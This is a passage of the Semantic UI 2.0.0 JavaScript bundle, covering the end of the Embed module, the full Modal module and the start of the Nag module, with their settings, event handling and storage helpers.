previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if($allModules.length > 1) {\n              title += ' ' + '(' + $allModules.length + ')';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                module.error(error.method, query);\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.embed.settings = {\n\n  name        : 'Embed',\n  namespace   : 'embed',\n\n  debug       : false,\n  verbose     : false,\n  performance : true,\n\n  icon     : false,\n  source   : false,\n  url      : false,\n  id       : false,\n\n  // standard video settings\n  autoplay  : 'auto',\n  color     : '#444444',\n  hd        : true,\n  brandedUI : false,\n\n  // additional parameters to include with the embed\n  parameters: false,\n\n  onDisplay            : function() {},\n  onPlaceholderDisplay : function() {},\n  onReset              : function() {},\n  onCreate             : function(url) {},\n  onEmbed              : function(parameters) {\n    return parameters;\n  },\n\n  metadata    : {\n    id          : 'id',\n    icon        : 'icon',\n    placeholder : 'placeholder',\n    source      : 'source',\n    url         : 'url'\n  },\n\n  error : {\n    noURL  : 'No URL specified',\n    method : 'The method you called is not defined'\n  },\n\n  className : {\n    active : 'active',\n    embed  : 'embed'\n  },\n\n  selector : {\n    embed       : '.embed',\n    placeholder : '.placeholder',\n    icon        : '.icon'\n  },\n\n  sources: {\n    youtube: {\n      name   : 'youtube',\n      type   : 'video',\n      icon   : 'video play',\n      domain : 'youtube.com',\n      url    : '//www.youtube.com/embed/{id}',\n      parameters: function(settings) {\n        return {\n          autohide       : !settings.brandedUI,\n          autoplay       : settings.autoplay,\n          color          : settings.colors || undefined,\n          hq             : settings.hd,\n          jsapi          : settings.api,\n          modestbranding : !settings.brandedUI\n        };\n      }\n    },\n    vimeo: {\n      name   : 'vimeo',\n      type   : 'video',\n      icon   : 'video play',\n      domain : 'vimeo.com',\n      url    : '//player.vimeo.com/video/{id}',\n      parameters: function(settings) {\n        return {\n          api      : settings.api,\n          autoplay : settings.autoplay,\n          byline   : settings.brandedUI,\n          color    : settings.colors || undefined,\n          portrait : settings.brandedUI,\n          title    : settings.brandedUI\n        };\n      }\n    }\n  },\n\n  templates: {\n    iframe : function(url, parameters) {\n      return ''\n        + '<iframe src=\"' + url + '?=' + parameters + '\"'\n        + ' width=\"100%\" height=\"100%\"'\n        + ' frameborder=\"0\" scrolling=\"no\" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>'\n      ;\n    },\n    placeholder : function(image, icon) {\n      var\n        html = ''\n      ;\n      if(icon) {\n        html += '<i class=\"' + icon + ' icon\"></i>';\n      }\n      if(image) {\n        html += '<img class=\"placeholder\" src=\"' + image + '\">';\n      }\n      return html;\n    }\n  },\n\n  // NOT YET IMPLEMENTED\n  api     : true,\n  onPause : function() {},\n  onPlay  : function() {},\n  onStop  : function() {}\n\n};\n\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Modal\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ( $, window, document, undefined ) {\n\n\"use strict\";\n\n$.fn.modal = function(parameters) {\n  var\n    $allModules    = $(this),\n    $window        = $(window),\n    $document      = $(document),\n    $body          = $('body'),\n\n    moduleSelector = $allModules.selector || '',\n\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n\n    requestAnimationFrame = window.requestAnimationFrame\n      || window.mozRequestAnimationFrame\n      || window.webkitRequestAnimationFrame\n      || window.msRequestAnimationFrame\n      || function(callback) { setTimeout(callback, 0); },\n\n    returnedValue\n  ;\n\n  $allModules\n    .each(function() {\n      var\n        settings    = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.modal.settings, parameters)\n          : $.extend({}, $.fn.modal.settings),\n\n        selector        = settings.selector,\n        className       = settings.className,\n        namespace       = settings.namespace,\n        error           = settings.error,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = 'module-' + namespace,\n\n        $module         = $(this),\n        $context        = $(settings.context),\n        $close          = $module.find(selector.close),\n\n        $allModals,\n        $otherModals,\n        $focusedElement,\n        $dimmable,\n        $dimmer,\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        elementNamespace,\n        id,\n        observer,\n        module\n      ;\n      module  = {\n\n        initialize: function() {\n          module.verbose('Initializing dimmer', $context);\n\n          module.create.id();\n          module.create.dimmer();\n          module.refreshModals();\n\n          module.bind.events();\n          if(settings.observeChanges) {\n            module.observeChanges();\n          }\n          module.instantiate();\n        },\n\n        instantiate: function() {\n          module.verbose('Storing instance of modal');\n          instance = module;\n          $module\n            .data(moduleNamespace, instance)\n          ;\n        },\n\n        create: {\n          dimmer: function() {\n            var\n              defaultSettings = {\n                debug      : settings.debug,\n                dimmerName : 'modals',\n                duration   : {\n                  show     : settings.duration,\n                  hide     : settings.duration\n                }\n              },\n              dimmerSettings = $.extend(true, defaultSettings, settings.dimmerSettings)\n            ;\n            if(settings.inverted) {\n              dimmerSettings.variation = (dimmerSettings.variation !== undefined)\n                ? dimmerSettings.variation + ' inverted'\n                : 'inverted'\n              ;\n            }\n            if($.fn.dimmer === undefined) {\n              module.error(error.dimmer);\n              return;\n            }\n            module.debug('Creating dimmer with settings', dimmerSettings);\n            $dimmable = $context.dimmer(dimmerSettings);\n            if(settings.detachable) {\n              module.verbose('Modal is detachable, moving content into dimmer');\n              $dimmable.dimmer('add content', $module);\n            }\n            else {\n              module.set.undetached();\n            }\n            if(settings.blurring) {\n              $dimmable.addClass(className.blurring);\n            }\n            $dimmer = $dimmable.dimmer('get dimmer');\n          },\n          id: function() {\n            id = (Math.random().toString(16) + '000000000').substr(2,8);\n            elementNamespace = '.' + id;\n            module.verbose('Creating unique id for element', id);\n          }\n        },\n\n        destroy: function() {\n          module.verbose('Destroying previous modal');\n          $module\n            .removeData(moduleNamespace)\n            .off(eventNamespace)\n          ;\n          $window.off(elementNamespace);\n          $close.off(eventNamespace);\n          $context.dimmer('destroy');\n        },\n\n        observeChanges: function() {\n          if('MutationObserver' in window) {\n            observer = new MutationObserver(function(mutations) {\n              module.debug('DOM tree modified, refreshing');\n              module.refresh();\n            });\n            observer.observe(element, {\n              childList : true,\n              subtree   : true\n            });\n            module.debug('Setting up mutation observer', observer);\n          }\n        },\n\n        refresh: function() {\n          module.remove.scrolling();\n          module.cacheSizes();\n          module.set.screenHeight();\n          module.set.type();\n          module.set.position();\n        },\n\n        refreshModals: function() {\n          $otherModals = $module.siblings(selector.modal);\n          $allModals   = $otherModals.add($module);\n        },\n\n        attachEvents: function(selector, event) {\n          var\n            $toggle = $(selector)\n          ;\n          event = $.isFunction(module[event])\n            ? module[event]\n            : module.toggle\n          ;\n          if($toggle.length > 0) {\n            module.debug('Attaching modal events to element', selector, event);\n            $toggle\n              .off(eventNamespace)\n              .on('click' + eventNamespace, event)\n            ;\n          }\n          else {\n            module.error(error.notFound, selector);\n          }\n        },\n\n        bind: {\n          events: function() {\n            module.verbose('Attaching events');\n            $module\n              .on('click' + eventNamespace, selector.close, module.event.close)\n              .on('click' + eventNamespace, selector.approve, module.event.approve)\n              .on('click' + eventNamespace, selector.deny, module.event.deny)\n            ;\n            $window\n              .on('resize' + elementNamespace, module.event.resize)\n            ;\n          }\n        },\n\n        get: {\n          id: function() {\n            return (Math.random().toString(16) + '000000000').substr(2,8);\n          }\n        },\n\n        event: {\n          approve: function() {\n            if(settings.onApprove.call(element, $(this)) === false) {\n              module.verbose('Approve callback returned false cancelling hide');\n              return;\n            }\n            module.hide();\n          },\n          deny: function() {\n            if(settings.onDeny.call(element, $(this)) === false) {\n              module.verbose('Deny callback returned false cancelling hide');\n              return;\n            }\n            module.hide();\n          },\n          close: function() {\n            module.hide();\n          },\n          click: function(event) {\n            var\n              $target   = $(event.target),\n              isInModal = ($target.closest(selector.modal).length > 0),\n              isInDOM   = $.contains(document.documentElement, event.target)\n            ;\n            if(!isInModal && isInDOM) {\n              module.debug('Dimmer clicked, hiding all modals');\n              if( module.is.active() ) {\n                module.remove.clickaway();\n                if(settings.allowMultiple) {\n                  module.hide();\n                }\n                else {\n                  module.hideAll();\n                }\n              }\n            }\n          },\n          debounce: function(method, delay) {\n            clearTimeout(module.timer);\n            module.timer = setTimeout(method, delay);\n          },\n          keyboard: function(event) {\n            var\n              keyCode   = event.which,\n              escapeKey = 27\n            ;\n            if(keyCode == escapeKey) {\n              if(settings.closable) {\n                module.debug('Escape key pressed hiding modal');\n                module.hide();\n              }\n              else {\n                module.debug('Escape key pressed, but closable is set to false');\n              }\n              event.preventDefault();\n            }\n          },\n          resize: function() {\n            if( $dimmable.dimmer('is active') ) {\n              requestAnimationFrame(module.refresh);\n            }\n          }\n        },\n\n        toggle: function() {\n          if( module.is.active() || module.is.animating() ) {\n            module.hide();\n          }\n          else {\n            module.show();\n          }\n        },\n\n        show: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          module.refreshModals();\n          module.showModal(callback);\n        },\n\n        hide: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          module.refreshModals();\n          module.hideModal(callback);\n        },\n\n        showModal: function(callback) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if( module.is.animating() || !module.is.active() ) {\n\n            module.showDimmer();\n            module.cacheSizes();\n            module.set.position();\n            module.set.screenHeight();\n            module.set.type();\n            module.set.clickaway();\n\n            if( !settings.allowMultiple && module.others.active() ) {\n              module.hideOthers(module.showModal);\n            }\n            else {\n              settings.onShow.call(element);\n              if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n                module.debug('Showing modal with css animations');\n                $module\n                  .transition({\n                    debug       : settings.debug,\n                    animation   : settings.transition + ' in',\n                    queue       : settings.queue,\n                    duration    : settings.duration,\n                    useFailSafe : true,\n                    onComplete : function() {\n                      settings.onVisible.apply(element);\n                      module.add.keyboardShortcuts();\n                      module.save.focus();\n                      module.set.active();\n                      module.set.autofocus();\n                      callback();\n                    }\n                  })\n                ;\n              }\n              else {\n                module.error(error.noTransition);\n              }\n            }\n          }\n          else {\n            module.debug('Modal is already visible');\n          }\n        },\n\n        hideModal: function(callback, keepDimmed) {\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          module.debug('Hiding modal');\n          settings.onHide.call(element);\n\n          if( module.is.animating() || module.is.active() ) {\n            if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n              module.remove.active();\n              $module\n                .transition({\n                  debug       : settings.debug,\n                  animation   : settings.transition + ' out',\n                  queue       : settings.queue,\n                  duration    : settings.duration,\n                  useFailSafe : true,\n                  onStart     : function() {\n                    if(!module.others.active() && !keepDimmed) {\n                      module.hideDimmer();\n                    }\n                    module.remove.keyboardShortcuts();\n                  },\n                  onComplete : function() {\n                    settings.onHidden.call(element);\n                    module.restore.focus();\n                    callback();\n                  }\n                })\n              ;\n            }\n            else {\n              module.error(error.noTransition);\n            }\n          }\n        },\n\n        showDimmer: function() {\n          if($dimmable.dimmer('is animating') || !$dimmable.dimmer('is active') ) {\n            module.debug('Showing dimmer');\n            $dimmable.dimmer('show');\n          }\n          else {\n            module.debug('Dimmer already visible');\n          }\n        },\n\n        hideDimmer: function() {\n          if( $dimmable.dimmer('is animating') || ($dimmable.dimmer('is active')) ) {\n            $dimmable.dimmer('hide', function() {\n              if(settings.transition && $.fn.transition !== undefined && $module.transition('is supported')) {\n                module.remove.clickaway();\n                module.remove.screenHeight();\n              }\n            });\n          }\n          else {\n            module.debug('Dimmer is not visible cannot hide');\n            return;\n          }\n        },\n\n        hideAll: function(callback) {\n          var\n            $visibleModals = $allModals.filter('.' + className.active + ', .' + className.animating)\n          ;\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if( $visibleModals.length > 0 ) {\n            module.debug('Hiding all visible modals');\n            module.hideDimmer();\n            $visibleModals\n              .modal('hide modal', callback)\n            ;\n          }\n        },\n\n        hideOthers: function(callback) {\n          var\n            $visibleModals = $otherModals.filter('.' + className.active + ', .' + className.animating)\n          ;\n          callback = $.isFunction(callback)\n            ? callback\n            : function(){}\n          ;\n          if( $visibleModals.length > 0 ) {\n            module.debug('Hiding other modals', $otherModals);\n            $visibleModals\n              .modal('hide modal', callback, true)\n            ;\n          }\n        },\n\n        others: {\n          active: function() {\n            return ($otherModals.filter('.' + className.active).length > 0);\n          },\n          animating: function() {\n            return ($otherModals.filter('.' + className.animating).length > 0);\n          }\n        },\n\n\n        add: {\n          keyboardShortcuts: function() {\n            module.verbose('Adding keyboard shortcuts');\n            $document\n              .on('keyup' + eventNamespace, module.event.keyboard)\n            ;\n          }\n        },\n\n        save: {\n          focus: function() {\n            $focusedElement = $(document.activeElement).blur();\n          }\n        },\n\n        restore: {\n          focus: function() {\n            if($focusedElement && $focusedElement.length > 0) {\n              $focusedElement.focus();\n            }\n          }\n        },\n\n        remove: {\n          active: function() {\n            $module.removeClass(className.active);\n          },\n          clickaway: function() {\n            if(settings.closable) {\n              $dimmer\n                .off('click' + elementNamespace)\n              ;\n            }\n          },\n          screenHeight: function() {\n            if(module.cache.height > module.cache.pageHeight) {\n              module.debug('Removing page height');\n              $body\n                .css('height', '')\n              ;\n            }\n          },\n          keyboardShortcuts: function() {\n            module.verbose('Removing keyboard shortcuts');\n            $document\n              .off('keyup' + eventNamespace)\n            ;\n          },\n          scrolling: function() {\n            $dimmable.removeClass(className.scrolling);\n            $module.removeClass(className.scrolling);\n          }\n        },\n\n        cacheSizes: function() {\n          var\n            modalHeight = $module.outerHeight()\n          ;\n          if(module.cache === undefined || modalHeight !== 0) {\n            module.cache = {\n              pageHeight    : $(document).outerHeight(),\n              height        : modalHeight + settings.offset,\n              contextHeight : (settings.context == 'body')\n                ? $(window).height()\n                : $dimmable.height()\n            };\n          }\n          module.debug('Caching modal and container sizes', module.cache);\n        },\n\n        can: {\n          fit: function() {\n            return ( ( module.cache.height + (settings.padding * 2) ) < module.cache.contextHeight);\n          }\n        },\n\n        is: {\n          active: function() {\n            return $module.hasClass(className.active);\n          },\n          animating: function() {\n            return $module.transition('is supported')\n              ? $module.transition('is animating')\n              : $module.is(':visible')\n            ;\n          },\n          scrolling: function() {\n            return $dimmable.hasClass(className.scrolling);\n          },\n          modernBrowser: function() {\n            // appName for IE11 reports 'Netscape' can no longer use\n            return !(window.ActiveXObject || \"ActiveXObject\" in window);\n          }\n        },\n\n        set: {\n          autofocus: function() {\n            if(settings.autofocus) {\n              var\n                $inputs    = $module.filter(':input').filter(':visible'),\n                $autofocus = $inputs.filter('[autofocus]'),\n                $input     = ($autofocus.length > 0)\n                  ? $autofocus.first()\n                  : $inputs.first()\n              ;\n              if($input.length > 0) {\n                $input.focus();\n              }\n            }\n          },\n          clickaway: function() {\n            if(settings.closable) {\n              $dimmer\n                .on('click' + elementNamespace, module.event.click)\n              ;\n            }\n          },\n          screenHeight: function() {\n            if( module.can.fit() ) {\n              $body.css('height', '');\n            }\n            else {\n              module.debug('Modal is taller than page content, resizing page height');\n              $body\n                .css('height', module.cache.height + (settings.padding * 2) )\n              ;\n            }\n          },\n          active: function() {\n            $module.addClass(className.active);\n          },\n          scrolling: function() {\n            $dimmable.addClass(className.scrolling);\n            $module.addClass(className.scrolling);\n          },\n          type: function() {\n            if(module.can.fit()) {\n              module.verbose('Modal fits on screen');\n              if(!module.others.active() && !module.others.animating()) {\n                module.remove.scrolling();\n              }\n            }\n            else {\n              module.verbose('Modal cannot fit on screen setting to scrolling');\n              module.set.scrolling();\n            }\n          },\n          position: function() {\n            module.verbose('Centering modal on page', module.cache);\n            if(module.can.fit()) {\n              $module\n                .css({\n                  top: '',\n                  marginTop: -(module.cache.height / 2)\n                })\n              ;\n            }\n            else {\n              $module\n                .css({\n                  marginTop : '',\n                  top       : $document.scrollTop()\n                })\n              ;\n            }\n          },\n          undetached: function() {\n            $dimmable.addClass(className.undetached);\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = currentTime;\n              performance.push({\n                'Name'           : message[0],\n                'Arguments'      : [].slice.call(message, 1) || '',\n                'Element'        : element,\n                'Execution Time' : executionTime\n              });\n            }\n            clearTimeout(module.performance.timer);\n            module.performance.timer = setTimeout(module.performance.display, 500);\n          },\n          display: function() {\n            var\n              title = settings.name + ':',\n              totalTime = 0\n            ;\n            time = false;\n            clearTimeout(module.performance.timer);\n            $.each(performance, function(index, data) {\n              totalTime += data['Execution Time'];\n            });\n            title += ' ' + totalTime + 'ms';\n            if(moduleSelector) {\n              title += ' \\'' + moduleSelector + '\\'';\n            }\n            if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) {\n              console.groupCollapsed(title);\n              if(console.table) {\n                console.table(performance);\n              }\n              else {\n                $.each(performance, function(index, data) {\n                  console.log(data['Name'] + ': ' + data['Execution Time']+'ms');\n                });\n              }\n              console.groupEnd();\n            }\n            performance = [];\n          }\n        },\n        invoke: function(query, passedArguments, context) {\n          var\n            object = instance,\n            maxDepth,\n            found,\n            response\n          ;\n          passedArguments = passedArguments || queryArguments;\n          context         = element         || context;\n          if(typeof query == 'string' && object !== undefined) {\n            query    = query.split(/[\\. ]/);\n            maxDepth = query.length - 1;\n            $.each(query, function(depth, value) {\n              var camelCaseValue = (depth != maxDepth)\n                ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1)\n                : query\n              ;\n              if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) {\n                object = object[camelCaseValue];\n              }\n              else if( object[camelCaseValue] !== undefined ) {\n                found = object[camelCaseValue];\n                return false;\n              }\n              else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) {\n                object = object[value];\n              }\n              else if( object[value] !== undefined ) {\n                found = object[value];\n                return false;\n              }\n              else {\n                return false;\n              }\n            });\n          }\n          if ( $.isFunction( found ) ) {\n            response = found.apply(context, passedArguments);\n          }\n          else if(found !== undefined) {\n            response = found;\n          }\n          if($.isArray(returnedValue)) {\n            returnedValue.push(response);\n          }\n          else if(returnedValue !== undefined) {\n            returnedValue = [returnedValue, response];\n          }\n          else if(response !== undefined) {\n            returnedValue = response;\n          }\n          return found;\n        }\n      };\n\n      if(methodInvoked) {\n        if(instance === undefined) {\n          module.initialize();\n        }\n        module.invoke(query);\n      }\n      else {\n        if(instance !== undefined) {\n          instance.invoke('destroy');\n        }\n        module.initialize();\n      }\n    })\n  ;\n\n  return (returnedValue !== undefined)\n    ? returnedValue\n    : this\n  ;\n};\n\n$.fn.modal.settings = {\n\n  name           : 'Modal',\n  namespace      : 'modal',\n\n  debug          : false,\n  verbose        : false,\n  performance    : true,\n\n  observeChanges : false,\n\n  allowMultiple  : false,\n  detachable     : true,\n  closable       : true,\n  autofocus      : true,\n\n  inverted       : false,\n  blurring       : false,\n\n  dimmerSettings : {\n    closable : false,\n    useCSS   : true\n  },\n\n\n  context    : 'body',\n\n  queue      : false,\n  duration   : 500,\n  offset     : 0,\n  transition : 'scale',\n\n  // padding with edge of page\n  padding    : 50,\n\n  // called before show animation\n  onShow     : function(){},\n\n  // called after show animation\n  onVisible  : function(){},\n\n  // called before hide animation\n  onHide     : function(){},\n\n  // called after hide animation\n  onHidden   : function(){},\n\n  // called after approve selector match\n  onApprove  : function(){ return true; },\n\n  // called after deny selector match\n  onDeny     : function(){ return true; },\n\n  selector    : {\n    close    : '.close',\n    approve  : '.actions .positive, .actions .approve, .actions .ok',\n    deny     : '.actions .negative, .actions .deny, .actions .cancel',\n    modal    : '.ui.modal'\n  },\n  error : {\n    dimmer    : 'UI Dimmer, a required component is not included in this page',\n    method    : 'The method you called is not defined.',\n    notFound  : 'The element you specified could not be found'\n  },\n  className : {\n    active     : 'active',\n    animating  : 'animating',\n    blurring   : 'blurring',\n    scrolling  : 'scrolling',\n    undetached : 'undetached'\n  }\n};\n\n\n})( jQuery, window , document );\n\n/*!\n * # Semantic UI 2.0.0 - Nag\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n;(function ($, window, document, undefined) {\n\n\"use strict\";\n\n$.fn.nag = function(parameters) {\n  var\n    $allModules    = $(this),\n    moduleSelector = $allModules.selector || '',\n\n    time           = new Date().getTime(),\n    performance    = [],\n\n    query          = arguments[0],\n    methodInvoked  = (typeof query == 'string'),\n    queryArguments = [].slice.call(arguments, 1),\n    returnedValue\n  ;\n  $allModules\n    .each(function() {\n      var\n        settings          = ( $.isPlainObject(parameters) )\n          ? $.extend(true, {}, $.fn.nag.settings, parameters)\n          : $.extend({}, $.fn.nag.settings),\n\n        className       = settings.className,\n        selector        = settings.selector,\n        error           = settings.error,\n        namespace       = settings.namespace,\n\n        eventNamespace  = '.' + namespace,\n        moduleNamespace = namespace + '-module',\n\n        $module         = $(this),\n\n        $close          = $module.find(selector.close),\n        $context        = (settings.context)\n          ? $(settings.context)\n          : $('body'),\n\n        element         = this,\n        instance        = $module.data(moduleNamespace),\n\n        moduleOffset,\n        moduleHeight,\n\n        contextWidth,\n        contextHeight,\n        contextOffset,\n\n        yOffset,\n        yPosition,\n\n        timer,\n        module,\n\n        requestAnimationFrame = window.requestAnimationFrame\n          || window.mozRequestAnimationFrame\n          || window.webkitRequestAnimationFrame\n          || window.msRequestAnimationFrame\n          || function(callback) { setTimeout(callback, 0); }\n      ;\n      module = {\n\n        initialize: function() {\n          module.verbose('Initializing element');\n\n          $module\n            .on('click' + eventNamespace, selector.close, module.dismiss)\n            .data(moduleNamespace, module)\n          ;\n\n          if(settings.detachable && $module.parent()[0] !== $context[0]) {\n            $module\n              .detach()\n              .prependTo($context)\n            ;\n          }\n\n          if(settings.displayTime > 0) {\n            setTimeout(module.hide, settings.displayTime);\n          }\n          module.show();\n        },\n\n        destroy: function() {\n          module.verbose('Destroying instance');\n          $module\n            .removeData(moduleNamespace)\n            .off(eventNamespace)\n          ;\n        },\n\n        show: function() {\n          if( module.should.show() && !$module.is(':visible') ) {\n            module.debug('Showing nag', settings.animation.show);\n            if(settings.animation.show == 'fade') {\n              $module\n                .fadeIn(settings.duration, settings.easing)\n              ;\n            }\n            else {\n              $module\n                .slideDown(settings.duration, settings.easing)\n              ;\n            }\n          }\n        },\n\n        hide: function() {\n          module.debug('Showing nag', settings.animation.hide);\n          if(settings.animation.show == 'fade') {\n            $module\n              .fadeIn(settings.duration, settings.easing)\n            ;\n          }\n          else {\n            $module\n              .slideUp(settings.duration, settings.easing)\n            ;\n          }\n        },\n\n        onHide: function() {\n          module.debug('Removing nag', settings.animation.hide);\n          $module.remove();\n          if (settings.onHide) {\n            settings.onHide();\n          }\n        },\n\n        dismiss: function(event) {\n          if(settings.storageMethod) {\n            module.storage.set(settings.key, settings.value);\n          }\n          module.hide();\n          event.stopImmediatePropagation();\n          event.preventDefault();\n        },\n\n        should: {\n          show: function() {\n            if(settings.persist) {\n              module.debug('Persistent nag is set, can show nag');\n              return true;\n            }\n            if( module.storage.get(settings.key) != settings.value.toString() ) {\n              module.debug('Stored value is not set, can show nag', module.storage.get(settings.key));\n              return true;\n            }\n            module.debug('Stored value is set, cannot show nag', module.storage.get(settings.key));\n            return false;\n          }\n        },\n\n        get: {\n          storageOptions: function() {\n            var\n              options = {}\n            ;\n            if(settings.expires) {\n              options.expires = settings.expires;\n            }\n            if(settings.domain) {\n              options.domain = settings.domain;\n            }\n            if(settings.path) {\n              options.path = settings.path;\n            }\n            return options;\n          }\n        },\n\n        clear: function() {\n          module.storage.remove(settings.key);\n        },\n\n        storage: {\n          set: function(key, value) {\n            var\n              options = module.get.storageOptions()\n            ;\n            if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) {\n              window.localStorage.setItem(key, value);\n              module.debug('Value stored using local storage', key, value);\n            }\n            else if($.cookie !== undefined) {\n              $.cookie(key, value, options);\n              module.debug('Value stored using cookie', key, value, options);\n            }\n            else {\n              module.error(error.noCookieStorage);\n              return;\n            }\n          },\n          get: function(key, value) {\n            var\n              storedValue\n            ;\n            if(settings.storageMethod == 'localstorage' && window.localStorage !== undefined) {\n              storedValue = window.localStorage.getItem(key);\n            }\n            // get by cookie\n            else if($.cookie !== undefined) {\n              storedValue = $.cookie(key);\n            }\n            else {\n              module.error(error.noCookieStorage);\n            }\n            if(storedValue == 'undefined' || storedValue == 'null' || storedValue === undefined || storedValue === null) {\n              storedValue = undefined;\n            }\n            return storedValue;\n          },\n          remove: function(key) {\n            var\n              options = module.get.storageOptions()\n            ;\n            if(settings.storageMethod == 'local' && window.store !== undefined) {\n              window.localStorage.removeItem(key);\n            }\n            // store by cookie\n            else if($.cookie !== undefined) {\n              $.removeCookie(key, options);\n            }\n            else {\n              module.error(error.noStorage);\n            }\n          }\n        },\n\n        setting: function(name, value) {\n          module.debug('Changing setting', name, value);\n          if( $.isPlainObject(name) ) {\n            $.extend(true, settings, name);\n          }\n          else if(value !== undefined) {\n            settings[name] = value;\n          }\n          else {\n            return settings[name];\n          }\n        },\n        internal: function(name, value) {\n          if( $.isPlainObject(name) ) {\n            $.extend(true, module, name);\n          }\n          else if(value !== undefined) {\n            module[name] = value;\n          }\n          else {\n            return module[name];\n          }\n        },\n        debug: function() {\n          if(settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.debug.apply(console, arguments);\n            }\n          }\n        },\n        verbose: function() {\n          if(settings.verbose && settings.debug) {\n            if(settings.performance) {\n              module.performance.log(arguments);\n            }\n            else {\n              module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':');\n              module.verbose.apply(console, arguments);\n            }\n          }\n        },\n        error: function() {\n          module.error = Function.prototype.bind.call(console.error, console, settings.name + ':');\n          module.error.apply(console, arguments);\n        },\n        performance: {\n          log: function(message) {\n            var\n              currentTime,\n              executionTime,\n              previousTime\n            ;\n            if(settings.performance) {\n              currentTime   = new Date().getTime();\n              previousTime  = time || currentTime;\n              executionTime = currentTime - previousTime;\n              time          = 